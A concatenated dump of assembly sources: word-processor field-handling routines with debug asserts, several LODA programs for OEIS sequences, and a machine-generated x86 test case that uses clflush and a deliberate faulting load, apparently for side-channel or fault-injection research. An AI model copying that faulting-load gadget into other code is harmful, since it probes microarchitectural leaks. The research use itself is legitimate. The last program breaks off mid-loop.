ifdef DEBUG
; /* Assert (ch == chFieldEnd) with a call so as not to mess up
; short jumps */
call DSFCP07
endif ;/* DEBUG */
; if (fShowResult)
; /* do the else clause first in assembler */
; else
; return cp0;
xor ax,ax
cwd
cmp fShowResult,fFalse
je DSFCP06
; if (fFetch)
; /* do the else clause first in assembler */
; else
; return (CP) 1;
inc ax
cmp fFetch,fFalse
je DSFCP06
; return dnflt[flt].fDisplay ? (CP) 0 : (CP) 1;
cCall EfltFromFlt,<si>
errnz <(fDisplayEflt) - 0>
test al,maskfDisplayEflt
mov ax,00000h
cwd
jne DSFCP06
inc ax
;#ifdef DEBUG
; /* look at case chFieldEnd for this code */
; default:
; Assert (fFalse);
; return cp0;
;#endif /* DEBUG */
DSFCP06:
; }
;
;}
cEnd
; End of DcpSkipFieldChPflcd
ifdef DEBUG
; Assert (ch == chFieldEnd);
DSFCP07:
push ax
push bx
push cx
push dx
cmp cl,chFieldEnd
je DSFCP08
mov ax,midFieldfmn
mov bx,1009
cCall AssertProcForNative,<ax,bx>
DSFCP08:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
;-------------------------------------------------------------------------
; FShowResultPflcdFvc ( pflcd, fvc )
;-------------------------------------------------------------------------
;/* F S H O W R E S U L T P F L C D */
;/* Determine the Show Results/Instructions mode for a specific field.
;*/
;
;FShowResultPflcdFvc(pflcd, fvc)
;struct FLCD * pflcd;
;int fvc;
;
;{
; struct WWD *pwwd;
; %%Function:N_FShowResultPflcdFvc %%Owner:BRADV
cProc N_FShowResultPflcdFvc,<PUBLIC,FAR>,<>
ParmW pflcd
ParmW fvc
cBegin
ifdef DEBUG
; Assert (pflcd != NULL && fvc);
push ax
push bx
push cx
push dx
cmp [pflcd],NULL
jne FSRPF01
mov ax,midFieldfmn
mov bx,1010
cCall AssertProcForNative,<ax,bx>
FSRPF01:
cmp [fvc],0
jne FSRPF015
mov ax,midFieldfmn
mov bx,1011
cCall AssertProcForNative,<ax,bx>
FSRPF015:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; if (fvc & fvcmWw)
; {
mov cx,[fvc]
errnz <fvcmWw - 000FFh>
or cl,cl
jne FSRPF02
; do the else clause first in the assembler version.
; }
; else if (fvc & fvcmFields)
; return fFalse;
errnz <fFalse>
xor ax,ax
errnz <fvcmFields - 00100h>
test ch,fvcmFields SHR 8
jne FSRPF04
; else
; return fTrue;
errnz <fTrue - 1>
inc ax
jmp short FSRPF04
FSRPF02:
; Assert (!(fvc & ~fvcmWw));
ifdef DEBUG
; /* Assert (!(fvc & ~ fvcmWw)) with a call so as not to mess up
; short jumps */
call FSRPF05
endif ;/* DEBUG */
; pwwd = PwwdWw(fvc/*ww*/);
; if (!pwwd->grpfvisi.fvisiShowAll)
; /* do the else clause first in assembler */
; else
; return fFalse ;
mov bx,cx
;Takes ww in bx, result in bx. Only bx is altered.
call LN_PwwdWw
mov dx,[bx.grpfvisiWwd]
errnz <fFalse>
xor ax,ax
errnz <maskfvisiShowAllGrpfvisi AND 0FF00h>
test dl,maskfvisiShowAllGrpfvisi
jne FSRPF04
mov dl,[bx.fPageViewWwd]
; {
; int f;
;
; f = FFromIGrpf (dnflt [pflcd->flt].fltg, pwwd->grpfvisi.grpfShowResults);
push dx ;save high grpfvisi and fPageView
mov bx,[pflcd]
cCall EfltFromFlt,<[bx.fltFlcd]>
pop dx ;restore high grpfvisi and fPageView
errnz <fltgEflt - 0>
and al,maskfltgEflt
mov cl,ibitfltgEflt
shr al,cl
xchg ax,cx
mov al,dh
errnz <maskgrpfShowResultsGrpfvisi - 01800h>
add cl,3
and al,maskgrpfShowResultsGrpfvisi SHR 8
shr al,cl
; if (!pwwd->grpfvisi.fForceField && !pwwd->fPageView)
test dx,maskfPageViewWwd + maskfForceFieldGrpfvisi
jne FSRPF03
; f ^= pflcd->fDiffer;
errnz <maskfDifferFlcd - 001h>
mov bx,[pflcd]
xor al,[bx.fDifferFlcd]
FSRPF03:
; return f;
and ax,00001h
FSRPF04:
; }
;}
cEnd
; End of FShowResultPflcdFvc
ifdef DEBUG
; Assert (!(fvc & ~fvcmWw));
FSRPF05:
push ax
push bx
push cx
push dx
errnz <fvcmWw - 000FFh>
or ch,ch
je FSRPF06
mov ax,midFieldfmn
mov bx,1012
cCall AssertProcForNative,<ax,bx>
FSRPF06:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
;-------------------------------------------------------------------------
; FillIfldFlcd ( hplcfld, ifld, pflcd )
;-------------------------------------------------------------------------
;/* F I L L I F L D F L C D */
;/* Fill pflcd with information about field ifld. Must scan plc and find
; all of the entries which refer to ifld.
;*/
;
;native FillIfldFlcd (hplcfld, ifld, pflcd)
;struct PLC **hplcfld;
;int ifld;
;struct FLCD *pflcd;
;
;{
; int cChBegin = 0;
; BOOL fSeparateFound = fFalse;
; CP cpSeparate;
; struct FLD fld;
; %%Function:N_FillIfldFlcd %%Owner:BRADV
cProc N_FillIfldFlcd,<PUBLIC,FAR>,<si,di>
ParmW hplcfld
ParmW ifld
ParmW pflcd
LocalW fSeparateFound
LocalD cpSeparate
LocalV flcd, cbFlcdMin
ifdef DEBUG
LocalW iMacPlcArg
endif ;/* DEBUG */
cBegin
mov fSeparateFound,fFalse
ifdef DEBUG
; Debug (iMacPlc = IMacPlc( hplcfld ));
cCall IMacPlc,<hplcfld>
mov iMacPlcArg,ax
endif ;/* DEBUG */
; SetBytes (pflcd, 0, cbFLCD);
mov di,pflcd
push ds
pop es
xor al,al
mov cx,cbFlcdMin
rep stosb
; Assert (ifld != ifldNil);
ifdef DEBUG
push ax
push bx
push cx
push dx
cmp ifld,ifldNil
jne FIF01
mov ax,midFieldfmn
mov bx,1013
cCall AssertProcForNative,<ax,bx>
FIF01:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; GetPlc( hplcfld, ifld, &fld );
; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo
; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si.
; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si.
; Changes ax, bx, cx, dx, si, di.
mov bx,hplcfld
mov si,ifld
ifdef DEBUG
xor di,di ;Not O.K. to pass ifldMac
endif ;DEBUG
cCall N_QcpQfooPlcfoo,<>
ifdef DEBUG
;Check that es == mpsbps[dx];
call FIF13
endif ;DEBUG
; pflcd now kept in bx
mov bx,pflcd
; pflcd->ifldChSeparate = ifldNil;
mov [bx.ifldChSeparateFlcd],ifldNil
; pflcd->ifldChBegin = ifld;
; ifld now kept in dx
mov dx,ifld
mov [bx.ifldChBeginFlcd],dx
; pflcd->cpFirst = CpPlc( hplcfld, ifld );
; here we are performing CpPlc( hplcfld, ifld) in a local subroutine.
; FIF_CpPlc expects pcp in es:di, ifld in dx, and puts
; the result cp in cx:ax. Uses hplcfld from the frame
; of FillIfldFlcd. Only ax and cx are altered.
call FIF_CpPlc
mov [bx.LO_cpFirstFlcd],ax
mov [bx.HI_cpFirstFlcd],cx
errnz <cbFldMin - 2>
lods wptr es:[si]
; Assert (fld.ch == chFieldBegin);
ifdef DEBUG
push ax
push bx
push cx
push dx
errnz <(chFld) - 0>
and al,maskChFld
cmp al,chFieldBegin
je FIF015
mov ax,midFieldfmn
mov bx,1014
cCall AssertProcForNative,<ax,bx>
FIF015:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; pflcd->fDirty = fld.fDirty;
push ax ;save fld
errnz <(fDirtyFld) - 0>
and ax,maskFDirtyFld
mov [bx.fDirtyFlcd],ax
pop ax ;restore fld
; pflcd->flt = fld.flt;
errnz <(fltFld) - 1>
mov al,ah
xor ah,ah
mov [bx.fltFlcd],ax
; cChBegin now kept in cx
xor cx,cx
; for (;;)
; {
FIF02:
; GetPlc( hplcfld, ++ifld, &fld );
inc dx
errnz <cbFldMin - 2>
lods wptr es:[si]
add di,4
ifdef DEBUG
; /* Assert (ifld < IMacPlc(hplcfld)) with a call so as not to mess up
; short jumps */
call FIF07
endif ;/* DEBUG */
; switch (fld.ch)
; {
errnz <(chFld) - 0>
; case chFieldBegin:
and al,maskChFld
cmp al,chFieldBegin
jne FIF03
; cChBegin++;
inc cx
; break;
; break and continue in loop;
jmp short FIF02
FIF03:
; case chFieldSeparate:
cmp al,chFieldSeparate
jne FIF04
; if (cChBegin == 0)
; {
or cx,cx
; bypass if clause, break and continue in loop;
jne FIF02
ifdef DEBUG
; /* Assert (!fSeparateFound) with a call so as not to mess up
; short jumps */
call FIF09
endif ;/* DEBUG */
; fSeparateFound = fTrue;
mov fSeparateFound,fTrue
; pflcd->ifldChSeparate = ifld;
mov [bx.ifldChSeparateFlcd],dx
; pflcd->bData = fld.bData;
errnz <(bDataFld) - 1>
mov al,ah
xor ah,ah
mov [bx.bDataFlcd],ax
; cpSeparate = CpPlc( hplcfld, ifld );
push cx ; save cChBegin
; here we are performing CpPlc( hplcfld, ifld) in a local subroutine.
; FIF_CpPlc expects pcp in es:di, ifld in dx, and puts
; the result cp in cx:ax. Uses hplcfld from the frame
; of FillIfldFlcd. Only ax and cx are altered.
call FIF_CpPlc
mov OFF_cpSeparate,ax
mov SEG_cpSeparate,cx
; pflcd->dcpInst = cpSeparate - pflcd->cpFirst +1;
sub ax,[bx.LO_cpFirstFlcd]
sbb cx,[bx.HI_cpFirstFlcd]
add ax,1
adc cx,0
mov [bx.LO_dcpInstFlcd],ax
mov [bx.HI_dcpInstFlcd],cx
pop cx ;restore cChBegin
; }
; break;
; break and continue in loop;
jmp short FIF02
FIF04:
; case chFieldEnd:
ifdef DEBUG
; /* Assert (fld.ch == chFieldEnd) with a call so as not to mess up
; short jumps */
call FIF11
endif ;/* DEBUG */
; if (cChBegin-- == 0)
; {
dec cx
; bypass if clause, break and continue in loop;
jge FIF02
; pflcd->ifldChEnd = ifld;
mov [bx.ifldChEndFlcd],dx
; pflcd->grpf = fld.grpf;
errnz <(grpfFld) - 1>
mov [bx.grpfFlcd],ah
; here we are performing CpPlc( hplcfld, ifld) in a local subroutine.
; FIF_CpPlc expects pcp in es:di, ifld in dx, and puts
; the result cp in cx:ax. Uses hplcfld from the frame
; of FillIfldFlcd. Only ax and cx are altered.
call FIF_CpPlc
; if (fSeparateFound)
cmp fSeparateFound,fFalse
je FIF05
; pflcd->dcpResult = CpPlc( hplcfld, ifld ) - cpSeparate;
sub ax,OFF_cpSeparate
sbb cx,SEG_cpSeparate
mov [bx.LO_dcpResultFlcd],ax
mov [bx.HI_dcpResultFlcd],cx
; bypass else clause and return
jmp short FIF06
FIF05:
; else
; pflcd->dcpInst = CpPlc( hplcfld, ifld ) - pflcd->cpFirst + 1;
sub ax,[bx.LO_cpFirstFlcd]
sbb cx,[bx.HI_cpFirstFlcd]
add ax,1
adc cx,0
mov [bx.LO_dcpInstFlcd],ax
mov [bx.HI_dcpInstFlcd],cx
; return;
; }
; break;
;#ifdef DEBUG
; default:
; /* look at case chFieldEnd for this code */
; Assert (fFalse);
;#endif /* DEBUG */
; }
; }
FIF06:
;}
cEnd
; FIF_CpPlc expects pcp in es:di, ifld in dx, and puts
; the result cp in cx:ax. Uses hplcfld from the frame
; of FillIfldFlcd. Only ax and cx are altered.
FIF_CpPlc:
mov ax,es:[di]
mov cx,es:[di+2]
push si ;save qfld;
mov si,hplcfld
mov si,[si]
cmp dx,[si.icpAdjustPlc]
jl FIFCP01
add ax,[si.LO_dcpAdjustPlc]
adc cx,[si.HI_dcpAdjustPlc]
FIFCP01:
pop si ;restore qfld;
ret
; End of FillIfldFlcd
ifdef DEBUG
; Assert (ifld < IMacPlc(hplcfld));
FIF07:
push ax
push bx
push cx
push dx
cmp dx,iMacPlcArg
jl FIF08
mov ax,midFieldfmn
mov bx,1015
cCall AssertProcForNative,<ax,bx>
FIF08:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
ifdef DEBUG
; Assert (!fSeparateFound);
FIF09:
cmp fSeparateFound,fFalse
je FIF10
push ax
push bx
push cx
push dx
mov ax,midFieldfmn
mov bx,1016
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
FIF10:
ret
endif ;/* DEBUG */
ifdef DEBUG
; Assert (fld.ch == chFieldEnd);
FIF11:
push ax
push bx
push cx
push dx
errnz <(chFld) - 0>
and al,maskChFld
cmp al,chFieldEnd
je FIF12
mov ax,midFieldfmn
mov bx,1017
cCall AssertProcForNative,<ax,bx>
FIF12:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
ifdef DEBUG
FIF13:
push ax
push bx
push cx
push dx
push es ;save es from QcpQfooPlcfoo
mov bx,dx
shl bx,1
mov ax,mpsbps[bx]
mov es,ax
shr ax,1
jc FIF14
;Assembler note: There is no way we should have to call ReloadSb here.
; reload sb trashes ax, cx, and dx
; cCall ReloadSb,<>
mov ax,midFieldfmn
mov bx,1022
cCall AssertProcForNative,<ax,bx>
FIF14:
pop ax ;restore es from QcpQfooPlcfoo
mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo
cmp ax,bx
je FIF15
mov ax,midFieldfmn
mov bx,1023
cCall AssertProcForNative,<ax,bx>
FIF15:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
;-------------------------------------------------------------------------
; GetIfldFlcd ( doc, ifld, pflcd )
;-------------------------------------------------------------------------
;/* G E T I F L D F L C D */
;/* Fill pflcd with the composit field information for field ifld in doc.
;*/
;
;native GetIfldFlcd (doc, ifld, pflcd)
;int doc, ifld;
;struct FLCD *pflcd;
;
;{
; %%Function:N_GetIfldFlcd %%Owner:BRADV
cProc N_GetIfldFlcd,<PUBLIC,FAR>,<>
ParmW doc
ParmW ifld
ParmW pflcd
cBegin
; struct PLCFLD **hplcfld = PdodDoc (doc)->hplcfld;
mov bx,[doc]
;Takes doc in bx, result in bx. Only bx is altered.
call LN_PdodDoc
mov ax,[bx].hplcfldDod
; if (hplcfld != hNil && ifld >= 0 && ifld < IMacPlc( hplcfld ))
errnz <hNil>
or ax,ax
je GIF01
cmp ifld,0
jl GIF01
push ax
cCall IMacPlc,<ax>
pop bx
cmp ifld,ax
jge GIF01
; FillIfldFlcd (hplcfld, ifld, pflcd);
push bx
push ifld
push pflcd
ifdef DEBUG
cCall S_FillIfldFlcd,<>
else ;not DEBUG
push cs
call near ptr N_FillIfldFlcd
endif ;DEBUG
jmp short GIF02
GIF01:
; else
; SetBytes (pflcd, 0, cbFLCD);
push di
mov di,pflcd
push ds
pop es
xor al,al
mov cx,cbFlcdMin
rep stosb
pop di
GIF02:
;}
cEnd
; End of GetIfldFlcd
;-------------------------------------------------------------------------
; SetFlcdCh ( doc, pflcd, ch )
;-------------------------------------------------------------------------
;/* S E T F L C D C H */
;/* Set data items for the field represented by pflcd in doc. ch
; indicates which items to update (chNil == all)
;*/
;
;native SetFlcdCh (doc, pflcd, ch)
;int doc;
;struct FLCD *pflcd;
;CHAR ch;
;
;{
; struct PLCFLD **hplcfld = PdodDoc (doc)->hplcfld;
; int ifld;
; struct FLD fld;
; %%Function:N_SetFlcdCh %%Owner:BRADV
cProc N_SetFlcdCh,<PUBLIC,FAR>,<si,di>
ParmW doc
ParmW pflcd
ParmW chArg
LocalV fldVar, cbFldMin
; hplcfld is kept in si
; pflcd is kept in di
cBegin
mov bx,[doc]
;Takes doc in bx, result in bx. Only bx is altered.
call LN_PdodDoc
mov si,[bx.hplcfldDod]
mov di,[pflcd]
; Assert( hplcfld != hNil);
ifdef DEBUG
push ax
push bx
push cx
push dx
cmp si,hNil
jne SFC01
mov ax,midFieldfmn
mov bx,1018
cCall AssertProcForNative,<ax,bx>
SFC01:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; ch lies in ah
; chCur lies in al
; ifld lies in bx
; bCur lies in ch
; fDirty lies in cl bit 7
mov al,chFieldBegin
; ifld = pflcd->ifldChBegin;
; fld.flt = pflcd->flt;
; fld.fDirty = pflcd->fDirty;
mov bx,[di.ifldChBeginFlcd]
mov ch,bptr ([di.fltFlcd])
call SFC025
; if (pflcd->ifldChSeparate != ifldNil)
cmp [di.ifldChSeparateFlcd],ifldNil
je SFC02
; ch lies in ah
; chCur lies in al
; ifld lies in bx
; bCur lies in ch
; fDirty lies in cl bit 7
mov al,chFieldSeparate
; ifld = pflcd->ifldChSeparate;
; fld.bData = pflcd->bData;
mov bx,[di.ifldChSeparateFlcd]
mov ch,bptr ([di.bDataFlcd])
call SFC03
SFC02:
; ch lies in ah
; chCur lies in al
; ifld lies in bx
; bCur lies in ch
; fDirty lies in cl bit 7
mov al,chFieldEnd
; ifld = pflcd->ifldChEnd;
; fld.grpf = pflcd->grpf;
mov bx,[di.ifldChEndFlcd]
mov ch,bptr ([di.grpfFlcd])
call SFC03
;}
cEnd
; End of SetFlcdCh
SFC025:
mov cl,maskFDirtyFld
cmp [di.fDirtyFlcd],fFalse
jne SFC035
SFC03:
mov cl,0
SFC035:
mov ah,bptr ([chArg])
; ch lies in ah
; chCur lies in al
; ifld lies in bx
; bCur lies in ch
; fDirty lies in cl bit 7
; if (!ch || ch == chCur)
or ah,ah
je SFC04
cmp ah,al
jne SFC06
SFC04:
ifdef DEBUG
; GetPlc( hplcfld, ifld, &fld );
push ax
push bx
push cx
push dx
lea ax,[fldVar]
cCall GetPlc,<si, bx, ax>
pop dx
pop cx
pop bx
pop ax
; Assert (fld.ch == chCur);
push ax
push bx
push cx
push dx
mov ah,[fldVar.chFld]
and ah,maskChFld
and al,maskChFld
cmp ah,al
je SFC05
mov ax,midFieldfmn
mov bx,1019
cCall AssertProcForNative,<ax,bx>
SFC05:
pop dx
pop cx
pop bx
pop ax
endif ;/* DEBUG */
; fld.bCur = bCur;
; fld.fDirty = pflcd->fDirty;
; PutPlcLast( hplcfld, ifld, &fld );
;Assembler note: since we just asserted fld.ch == chCur
;we will replace fld.ch with chCur. This means that we are
;now replacing the entire fld, so we can get rid of the call
;above to GetPlc, and replace the call to PutPlcLast with
;a call to PutPlc.
errnz <cbFldMin - 2>
errnz <(fltFld) - 1>
errnz <(bDataFld) - 1>
errnz <(grpfFld) - 1>
errnz <(fDirtyFld) - 0>
errnz <maskFDirtyFld - 080h>
errnz <(chFld) - 0>
errnz <maskChFld - 07Fh>
or cl,al
mov wptr ([fldVar.fDirtyFld]),cx
lea ax,[fldVar]
cCall PutPlc,<si, bx, ax>
SFC06:
ret
LN_PwwdWw:
;Takes ww in bx, result in bx. Only bx is altered.
shl bx,1
mov bx,[bx.mpwwhwwd]
ifdef DEBUG
cmp bx,hNil
jne LN_PW101
push ax
push bx
push cx
push dx
mov ax,midFieldfmn
mov bx,1020
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
LN_PW101:
endif ;/* DEBUG */
mov bx,[bx]
ret
LN_PdodDoc:
;Takes doc in bx, result in bx. Only bx is altered.
shl bx,1
mov bx,[bx.mpdochdod]
ifdef DEBUG
cmp bx,hNil
jne LN_PD01
push ax
push bx
push cx
push dx
mov ax,midFieldfmn
mov bx,1021
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
LN_PD01:
endif ;/* DEBUG */
mov bx,[bx]
ret
sEnd fieldfmt_PCODE
end
| 18.907465 | 89 | 0.60834 |
ec17f8a0bd7ac71d7236d06d7253d8c224e0bf8a | 395 | asm | Assembly | programs/oeis/243/A243201.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/243/A243201.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/243/A243201.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A243201: Odd octagonal numbers indexed by triangular numbers.
; 1,21,133,481,1281,2821,5461,9633,15841,24661,36741,52801,73633,100101,133141,173761,223041,282133,352261,434721,530881,642181,770133,916321,1082401,1270101,1481221,1717633,1981281,2274181,2598421,2956161,3349633,3781141,4253061,4767841,5328001
mov $1,$0
pow $0,2
add $1,$0
mul $1,3
add $1,2
pow $1,2
div $1,12
mul $1,4
add $1,1
| 30.384615 | 245 | 0.772152 |
6cb24ebb885ee306c4a7a846e07b2dd48b0a49c4 | 450 | asm | Assembly | programs/oeis/294/A294015.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/294/A294015.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/294/A294015.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A294015: Sum of the even divisors of 2n, minus the (n-1)st odd number.
; 1,3,3,7,3,13,3,15,9,17,3,33,3,21,19,31,3,43,3,45,23,29,3,73,13,33,27,57,3,85,3,63,31,41,27,111,3,45,35,101,3,109,3,81,67,53,3,153,17,87,43,93,3,133,35,129,47,65,3,217,3,69,83,127,39,157,3,117,55,149,3,247,3,81,99,129,39,181,3,213,81,89,3,281
sub $1,$0
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
add $1,$0
mul $1,2
sub $1,1
mov $0,$1
| 45 | 243 | 0.644444 |
52b85c61a25e939953d4876ee5c4759fc9ef3232 | 3,335 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_8_2539.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_8_2539.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_8_2539.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r8
push %r9
push %rax
push %rcx
lea addresses_D_ht+0x67c4, %rcx
clflush (%rcx)
nop
nop
nop
inc %rax
movb (%rcx), %r14b
nop
nop
nop
nop
sub $48152, %rax
lea addresses_WT_ht+0xf798, %r9
nop
cmp $33212, %r8
movw $0x6162, (%r9)
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WT_ht+0x1d63e, %r12
nop
nop
nop
nop
sub $30451, %r13
movups (%r12), %xmm7
vpextrq $1, %xmm7, %r14
nop
dec %r14
lea addresses_WC_ht+0x8fc4, %r13
add $38683, %r14
mov (%r13), %ax
nop
nop
add %r9, %r9
lea addresses_WT_ht+0x4fc4, %rcx
nop
nop
nop
add %r13, %r13
mov $0x6162636465666768, %r8
movq %r8, %xmm2
vmovups %ymm2, (%rcx)
nop
nop
nop
and $49824, %r13
lea addresses_WC_ht+0x5234, %rax
nop
nop
nop
sub %r9, %r9
mov (%rax), %r8d
xor $53897, %r14
lea addresses_WT_ht+0x3cf6, %rcx
clflush (%rcx)
nop
nop
nop
cmp %r8, %r8
mov (%rcx), %r14
and $24719, %r9
lea addresses_WT_ht+0x8044, %r13
clflush (%r13)
and %r9, %r9
mov $0x6162636465666768, %r14
movq %r14, %xmm6
movups %xmm6, (%r13)
nop
and %rax, %rax
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
// Load
lea addresses_WT+0x1a7c4, %rcx
cmp %rsi, %rsi
movb (%rcx), %r10b
nop
cmp $50922, %rcx
// REPMOV
lea addresses_WC+0x10d00, %rsi
lea addresses_RW+0x103c4, %rdi
xor %rdx, %rdx
mov $2, %rcx
rep movsl
// Exception!!!
nop
nop
mov (0), %rdx
nop
nop
nop
nop
and $40940, %r8
// Faulty Load
lea addresses_WT+0x1a7c4, %rsi
nop
nop
add $23731, %rcx
mov (%rsi), %r8d
lea oracles, %rdx
and $0xff, %r8
shlq $12, %r8
mov (%rdx,%r8,1), %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_RW', 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}}
{'39': 8}
39 39 39 39 39 39 39 39
*/
| 20.335366 | 142 | 0.637781 |
4a8b6524c42f4251cc69e90c14a20c77ccb6e0d2 | 514 | asm | Assembly | capitalToLower.asm | ARBII-xD/AssemblyCodes | c06b6de70da0d7be48ab0f404ffbfc889db6e43d | [
"MIT"
] | null | null | null | capitalToLower.asm | ARBII-xD/AssemblyCodes | c06b6de70da0d7be48ab0f404ffbfc889db6e43d | [
"MIT"
] | null | null | null | capitalToLower.asm | ARBII-xD/AssemblyCodes | c06b6de70da0d7be48ab0f404ffbfc889db6e43d | [
"MIT"
] | null | null | null |
.data
inp: .asciiz "Enter some capital alphabet: "
out: .asciiz "\nThe lower alphabet is: "
.text
.globl main
.ent main
main:
# print input message
li $v0, 4
la $a0, inp
syscall
# get character input
li $v0, 12
syscall
move $t0, $v0
#calculations
addi $s0, $t0, 32
# print output
li $v0, 4
la $a0, out
syscall
li $v0, 11
move $a0, $s0
syscall
jr $ra
.end main
| 10.489796 | 45 | 0.480545 |
dc7458861c428e48cce3f51e9ad15cfbbeadf34f | 307 | asm | Assembly | projects/06/instructions/Jumps.asm | chapnitsky/Nand2Tetris | bef03c5e8f286d377a315c79793d4b49f86af713 | [
"MIT"
] | null | null | null | projects/06/instructions/Jumps.asm | chapnitsky/Nand2Tetris | bef03c5e8f286d377a315c79793d4b49f86af713 | [
"MIT"
] | null | null | null | projects/06/instructions/Jumps.asm | chapnitsky/Nand2Tetris | bef03c5e8f286d377a315c79793d4b49f86af713 | [
"MIT"
] | null | null | null | // Copyright Janet Davis, January 2018.
// Free for educational use.
// Exercises all possible jumps.
// This is not a program and cannot be tested by running the resulting
// .hack file. Instead, compare to the .hack file produced by the
// given assembler.
D
D;JGT
D;JEQ
D;JGE
D;JLT
D;JNE
D;JLE
0;JMP
| 18.058824 | 70 | 0.723127 |
a8f4ab32f002abbacfc024cbba100b543c884104 | 613 | asm | Assembly | programs/oeis/028/A028835.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/028/A028835.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/028/A028835.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A028835: Numbers whose iterated sum of digits is a prime.
; 2,3,5,7,11,12,14,16,20,21,23,25,29,30,32,34,38,39,41,43,47,48,50,52,56,57,59,61,65,66,68,70,74,75,77,79,83,84,86,88,92,93,95,97,101,102,104,106,110,111,113,115,119,120,122,124,128,129,131,133,137,138,140,142,146,147,149,151,155,156,158,160,164,165,167,169,173,174,176,178,182,183,185,187,191,192,194,196,200,201,203,205,209,210,212,214,218,219,221,223
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
add $0,2
lpb $0
